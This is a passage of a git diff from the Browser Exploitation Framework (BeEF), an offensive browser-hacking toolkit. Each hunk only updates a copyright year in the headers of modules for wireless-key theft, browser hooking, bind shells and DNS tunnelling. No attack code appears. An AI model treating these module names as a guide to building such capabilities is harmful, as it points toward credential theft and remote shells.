a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/get_internal_ip_webrtc/config.yaml b/modules/host/get_internal_ip_webrtc/config.yaml index 8e3467c37..73bef2a7c 100755 --- a/modules/host/get_internal_ip_webrtc/config.yaml +++ b/modules/host/get_internal_ip_webrtc/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_internal_ip_webrtc/module.rb b/modules/host/get_internal_ip_webrtc/module.rb index 45f2351c9..0cc1d4ab8 100755 --- a/modules/host/get_internal_ip_webrtc/module.rb +++ b/modules/host/get_internal_ip_webrtc/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_registry_keys/command.js b/modules/host/get_registry_keys/command.js index dbc1ad4d3..52d2cf4d7 100644 --- a/modules/host/get_registry_keys/command.js +++ b/modules/host/get_registry_keys/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/get_registry_keys/config.yaml b/modules/host/get_registry_keys/config.yaml index 81623c50c..43b617fa6 100644 --- a/modules/host/get_registry_keys/config.yaml +++ b/modules/host/get_registry_keys/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_registry_keys/module.rb b/modules/host/get_registry_keys/module.rb index a548d56af..51ad49f4b 100644 --- a/modules/host/get_registry_keys/module.rb +++ b/modules/host/get_registry_keys/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_system_info_java/command.js b/modules/host/get_system_info_java/command.js index bfd94c1c3..5e4468a9e 100644 --- a/modules/host/get_system_info_java/command.js +++ b/modules/host/get_system_info_java/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/get_system_info_java/config.yaml b/modules/host/get_system_info_java/config.yaml index 0e5adea73..15c5f8791 100644 --- a/modules/host/get_system_info_java/config.yaml +++ b/modules/host/get_system_info_java/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_system_info_java/getSystemInfo.java b/modules/host/get_system_info_java/getSystemInfo.java index 2844e5628..6b502816a 100644 --- a/modules/host/get_system_info_java/getSystemInfo.java +++ b/modules/host/get_system_info_java/getSystemInfo.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/host/get_system_info_java/module.rb b/modules/host/get_system_info_java/module.rb index 7415e4ceb..a36a1b84d 100644 --- a/modules/host/get_system_info_java/module.rb +++ b/modules/host/get_system_info_java/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_wireless_keys/command.js b/modules/host/get_wireless_keys/command.js index b31202475..3fc6b6e82 100644 --- a/modules/host/get_wireless_keys/command.js +++ b/modules/host/get_wireless_keys/command.js @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/host/get_wireless_keys/config.yaml b/modules/host/get_wireless_keys/config.yaml index e0ef42e2e..1ddbf278c 100644 --- a/modules/host/get_wireless_keys/config.yaml +++ b/modules/host/get_wireless_keys/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_wireless_keys/module.rb b/modules/host/get_wireless_keys/module.rb index 3a219c257..9ddbc7c1c 100644 --- a/modules/host/get_wireless_keys/module.rb +++ b/modules/host/get_wireless_keys/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/get_wireless_keys/wirelessZeroConfig.java b/modules/host/get_wireless_keys/wirelessZeroConfig.java index a7acbd0d5..2bb0f7279 100644 --- a/modules/host/get_wireless_keys/wirelessZeroConfig.java +++ b/modules/host/get_wireless_keys/wirelessZeroConfig.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + * Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - http://beefproject.com * See the file 'doc/COPYING' for copying permission */ diff --git a/modules/host/hook_default_browser/command.js b/modules/host/hook_default_browser/command.js index 0656aab41..024dc55ef 100644 --- a/modules/host/hook_default_browser/command.js +++ b/modules/host/hook_default_browser/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/hook_default_browser/config.yaml b/modules/host/hook_default_browser/config.yaml index bc44ad757..f0d1ee0c5 100644 --- a/modules/host/hook_default_browser/config.yaml +++ b/modules/host/hook_default_browser/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/hook_default_browser/module.rb b/modules/host/hook_default_browser/module.rb index f4fa6679b..13e395832 100644 --- a/modules/host/hook_default_browser/module.rb +++ b/modules/host/hook_default_browser/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/hook_microsoft_edge/command.js b/modules/host/hook_microsoft_edge/command.js index 5fa9bc0cc..3a10d3505 100644 --- a/modules/host/hook_microsoft_edge/command.js +++ b/modules/host/hook_microsoft_edge/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/hook_microsoft_edge/config.yaml b/modules/host/hook_microsoft_edge/config.yaml index 7397505dc..0db03cb27 100644 --- a/modules/host/hook_microsoft_edge/config.yaml +++ b/modules/host/hook_microsoft_edge/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/hook_microsoft_edge/module.rb b/modules/host/hook_microsoft_edge/module.rb index 114c298b1..fa054801d 100644 --- a/modules/host/hook_microsoft_edge/module.rb +++ b/modules/host/hook_microsoft_edge/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/insecure_url_skype/command.js b/modules/host/insecure_url_skype/command.js index 357cf6963..16f889411 100644 --- a/modules/host/insecure_url_skype/command.js +++ b/modules/host/insecure_url_skype/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/insecure_url_skype/config.yaml b/modules/host/insecure_url_skype/config.yaml index a6b541410..378163d80 100644 --- a/modules/host/insecure_url_skype/config.yaml +++ b/modules/host/insecure_url_skype/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/insecure_url_skype/module.rb b/modules/host/insecure_url_skype/module.rb index 53d2ffb96..6a4a8318b 100644 --- a/modules/host/insecure_url_skype/module.rb +++ b/modules/host/insecure_url_skype/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/iphone_tel/command.js b/modules/host/iphone_tel/command.js index 67784b541..e1c9c5711 100644 --- a/modules/host/iphone_tel/command.js +++ b/modules/host/iphone_tel/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/iphone_tel/config.yaml b/modules/host/iphone_tel/config.yaml index 7730f06e4..8bfb33de8 100644 --- a/modules/host/iphone_tel/config.yaml +++ b/modules/host/iphone_tel/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/iphone_tel/module.rb b/modules/host/iphone_tel/module.rb index 2076f5d36..4dcccb23a 100644 --- a/modules/host/iphone_tel/module.rb +++ b/modules/host/iphone_tel/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/physical_location/command.js b/modules/host/physical_location/command.js index c02a6f637..f8f971e98 100644 --- a/modules/host/physical_location/command.js +++ b/modules/host/physical_location/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/physical_location/config.yaml b/modules/host/physical_location/config.yaml index ad652f9b7..e90b3f309 100644 --- a/modules/host/physical_location/config.yaml +++ b/modules/host/physical_location/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/physical_location/module.rb b/modules/host/physical_location/module.rb index 01df84230..bd80b299c 100644 --- a/modules/host/physical_location/module.rb +++ b/modules/host/physical_location/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/physical_location_thirdparty/command.js b/modules/host/physical_location_thirdparty/command.js index 9d0991e81..0ae634d47 100644 --- a/modules/host/physical_location_thirdparty/command.js +++ b/modules/host/physical_location_thirdparty/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/host/physical_location_thirdparty/config.yaml b/modules/host/physical_location_thirdparty/config.yaml index c4fc092bc..fabc9bf26 100644 --- a/modules/host/physical_location_thirdparty/config.yaml +++ b/modules/host/physical_location_thirdparty/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/host/physical_location_thirdparty/module.rb b/modules/host/physical_location_thirdparty/module.rb index 419c72829..ec8001ea0 100644 --- a/modules/host/physical_location_thirdparty/module.rb +++ b/modules/host/physical_location_thirdparty/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/cross_site_faxing/command.js b/modules/ipec/cross_site_faxing/command.js index 36ff764e7..0030c1157 100644 --- a/modules/ipec/cross_site_faxing/command.js +++ b/modules/ipec/cross_site_faxing/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/cross_site_faxing/config.yaml b/modules/ipec/cross_site_faxing/config.yaml index f658a6fef..8ae53797d 100644 --- a/modules/ipec/cross_site_faxing/config.yaml +++ b/modules/ipec/cross_site_faxing/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/cross_site_faxing/module.rb b/modules/ipec/cross_site_faxing/module.rb index ea104208b..bcac709a9 100644 --- a/modules/ipec/cross_site_faxing/module.rb +++ b/modules/ipec/cross_site_faxing/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/cross_site_printing/command.js b/modules/ipec/cross_site_printing/command.js index 39287fe15..a893cbb69 100644 --- a/modules/ipec/cross_site_printing/command.js +++ b/modules/ipec/cross_site_printing/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/cross_site_printing/config.yaml b/modules/ipec/cross_site_printing/config.yaml index 15adbbe5b..8d6ba61bf 100644 --- a/modules/ipec/cross_site_printing/config.yaml +++ b/modules/ipec/cross_site_printing/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/cross_site_printing/module.rb b/modules/ipec/cross_site_printing/module.rb index 4623559bd..f603063d6 100644 --- a/modules/ipec/cross_site_printing/module.rb +++ b/modules/ipec/cross_site_printing/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/dns_tunnel/command.js b/modules/ipec/dns_tunnel/command.js index 5fe2631d2..9e772bb73 100644 --- a/modules/ipec/dns_tunnel/command.js +++ b/modules/ipec/dns_tunnel/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/dns_tunnel/config.yaml b/modules/ipec/dns_tunnel/config.yaml index 615891747..0d864cacf 100644 --- a/modules/ipec/dns_tunnel/config.yaml +++ b/modules/ipec/dns_tunnel/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/dns_tunnel/module.rb b/modules/ipec/dns_tunnel/module.rb index dd9235fcc..6e838930b 100644 --- a/modules/ipec/dns_tunnel/module.rb +++ b/modules/ipec/dns_tunnel/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/etag_client/command.js b/modules/ipec/etag_client/command.js index 807341c3d..a6e89f63e 100644 --- a/modules/ipec/etag_client/command.js +++ b/modules/ipec/etag_client/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/etag_client/config.yaml b/modules/ipec/etag_client/config.yaml index c112821a8..6d202439f 100644 --- a/modules/ipec/etag_client/config.yaml +++ b/modules/ipec/etag_client/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/etag_client/module.rb b/modules/ipec/etag_client/module.rb index e7ab993ce..5fd463493 100644 --- a/modules/ipec/etag_client/module.rb +++ b/modules/ipec/etag_client/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_imap/command.js b/modules/ipec/inter_protocol_imap/command.js index a74e4b7f4..afbaf1e1e 100644 --- a/modules/ipec/inter_protocol_imap/command.js +++ b/modules/ipec/inter_protocol_imap/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/inter_protocol_imap/config.yaml b/modules/ipec/inter_protocol_imap/config.yaml index 66f263459..51f745610 100644 --- a/modules/ipec/inter_protocol_imap/config.yaml +++ b/modules/ipec/inter_protocol_imap/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_imap/module.rb b/modules/ipec/inter_protocol_imap/module.rb index 2c9496c15..f607866bb 100644 --- a/modules/ipec/inter_protocol_imap/module.rb +++ b/modules/ipec/inter_protocol_imap/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_irc/command.js b/modules/ipec/inter_protocol_irc/command.js index 81fe0429a..aa37b5dd2 100644 --- a/modules/ipec/inter_protocol_irc/command.js +++ b/modules/ipec/inter_protocol_irc/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/inter_protocol_irc/config.yaml b/modules/ipec/inter_protocol_irc/config.yaml index 28f68afdf..3e1647008 100644 --- a/modules/ipec/inter_protocol_irc/config.yaml +++ b/modules/ipec/inter_protocol_irc/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_irc/module.rb b/modules/ipec/inter_protocol_irc/module.rb index cd8f720ef..ea849ea89 100644 --- a/modules/ipec/inter_protocol_irc/module.rb +++ b/modules/ipec/inter_protocol_irc/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_posix_bindshell/command.js b/modules/ipec/inter_protocol_posix_bindshell/command.js index 35ed99149..e9c28121d 100644 --- a/modules/ipec/inter_protocol_posix_bindshell/command.js +++ b/modules/ipec/inter_protocol_posix_bindshell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/inter_protocol_posix_bindshell/config.yaml b/modules/ipec/inter_protocol_posix_bindshell/config.yaml index 889080b13..85b32c015 100644 --- a/modules/ipec/inter_protocol_posix_bindshell/config.yaml +++ b/modules/ipec/inter_protocol_posix_bindshell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_posix_bindshell/module.rb b/modules/ipec/inter_protocol_posix_bindshell/module.rb index c4fb1459a..6f1b397c0 100644 --- a/modules/ipec/inter_protocol_posix_bindshell/module.rb +++ b/modules/ipec/inter_protocol_posix_bindshell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_redis/command.js b/modules/ipec/inter_protocol_redis/command.js index 44ae3f60f..845b7d450 100644 --- a/modules/ipec/inter_protocol_redis/command.js +++ b/modules/ipec/inter_protocol_redis/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/inter_protocol_redis/config.yaml b/modules/ipec/inter_protocol_redis/config.yaml index d01bad4de..905f41dac 100644 --- a/modules/ipec/inter_protocol_redis/config.yaml +++ b/modules/ipec/inter_protocol_redis/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_redis/module.rb b/modules/ipec/inter_protocol_redis/module.rb index a2f902f3d..c3d462d35 100644 --- a/modules/ipec/inter_protocol_redis/module.rb +++ b/modules/ipec/inter_protocol_redis/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_win_bindshell/command.js b/modules/ipec/inter_protocol_win_bindshell/command.js index 8c9e7e037..7c0bc7db9 100644 --- a/modules/ipec/inter_protocol_win_bindshell/command.js +++ b/modules/ipec/inter_protocol_win_bindshell/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/inter_protocol_win_bindshell/command.old.js b/modules/ipec/inter_protocol_win_bindshell/command.old.js index 3b949680d..aad279c80 100644 --- a/modules/ipec/inter_protocol_win_bindshell/command.old.js +++ b/modules/ipec/inter_protocol_win_bindshell/command.old.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/inter_protocol_win_bindshell/config.yaml b/modules/ipec/inter_protocol_win_bindshell/config.yaml index 454b4d405..63b3b3e9a 100644 --- a/modules/ipec/inter_protocol_win_bindshell/config.yaml +++ b/modules/ipec/inter_protocol_win_bindshell/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/inter_protocol_win_bindshell/module.rb b/modules/ipec/inter_protocol_win_bindshell/module.rb index 88a76ac5f..8fa99c297 100644 --- a/modules/ipec/inter_protocol_win_bindshell/module.rb +++ b/modules/ipec/inter_protocol_win_bindshell/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/ipec/s2c_dns_tunnel/command.js b/modules/ipec/s2c_dns_tunnel/command.js index 192745945..1decc9bfd 100644 --- a/modules/ipec/s2c_dns_tunnel/command.js +++ b/modules/ipec/s2c_dns_tunnel/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/ipec/s2c_dns_tunnel/config.yaml 